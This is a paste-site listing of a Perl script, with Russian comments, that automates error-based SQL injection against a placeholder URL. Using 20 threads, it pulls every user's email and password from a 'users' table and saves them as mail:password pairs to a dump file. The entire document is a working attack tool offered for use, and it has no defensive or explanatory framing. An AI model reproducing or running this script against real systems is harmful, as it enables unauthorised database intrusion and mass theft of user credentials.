Guest

Untitled

By: a guest on Jan 28th, 2012  |  syntax: Perl  |  size: 2.27 KB  |  hits: 67  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. #!/usr/local/bin/perl -w
  2. use LWP::Simple;
  3. use threads;
  4. use threads::shared;
  5.  
  6. $url = 'http://examplesite.guf/script.php?id=1337';
  7.  
  8. $mysql_mail_before = ' and(select 1 from(select count(*),concat((select (select (select concat(0x3c703e,unhex(Hex(cast(users.mail     as char))),0x3c2f703e) from db.users Order by mail limit ';
  9. $mysql_mail_after = ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
  10.  
  11. $mysql_pass_before = ' and(select 1 from(select count(*),concat((select (select (select concat(0x3c703e,unhex(Hex(cast(users.password as char))),0x3c2f703e) from db.users Order by mail limit ';
  12. $mysql_pass_after = ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
  13.  
  14. my $count_string = 100; #___ кол-во записей в таблице
  15. my $threads_num = 20;  #___ кол-во потоков
  16. my @file:shared;
  17. my $lim:shared = 0;
  18.  
  19. #___ создаем потоки со ссылкой на sql_inj_req:
  20. for my $i (1..$threads_num){
  21.         push @threads, threads->create(\&sql_inj_req, $i);
  22. }
  23.  
  24. #___ запускаем потоки:
  25. foreach my $thread (@threads){
  26. $thread->join();
  27. }
  28.  
  29. sub sql_inj_req{
  30.                 my $counter=$lim++; #___ передаём каждому потоку номер стартовой записи, с которой начнется перебор
  31.                 while ($lim<$count_string){
  32.                                 $content_for_mail = get($url.$mysql_mail_before.$counter.$mysql_mail_after)||die(); #___ запрос
  33.                                 if($content_for_mail=~/<p>(.*)<\/p>/){$mail = $1}; #___ выборка данных
  34.        
  35.                                 $content_for_pass = get($url.$mysql_pass_before.$counter.$mysql_pass_after)||die(); #___ запрос
  36.                                 if($content_for_pass=~/<p>(.*)<\/p>/){$pass = $1}; #___ выборка данных
  37.  
  38.                                 print $mail.":".$pass."\n"; #___ вывод на экран (можно отключить)
  39.                                 $file[$counter] = $mail.":".$pass."\n"; #___ помешаем полученные данные в массив в виде mail:password
  40.                        
  41.                                 $lim++;
  42.                                 $counter += $threads_num;
  43.                 };
  44. };
  45. #___ запись в файл
  46. open (OUTFILE, ">/dump.txt")||die "Cant't find dump.txt";
  47. foreach(@file){
  48.         if($_){
  49.                 print OUTFILE $_;
  50.         };
  51. };
  52. close(OUTFILE);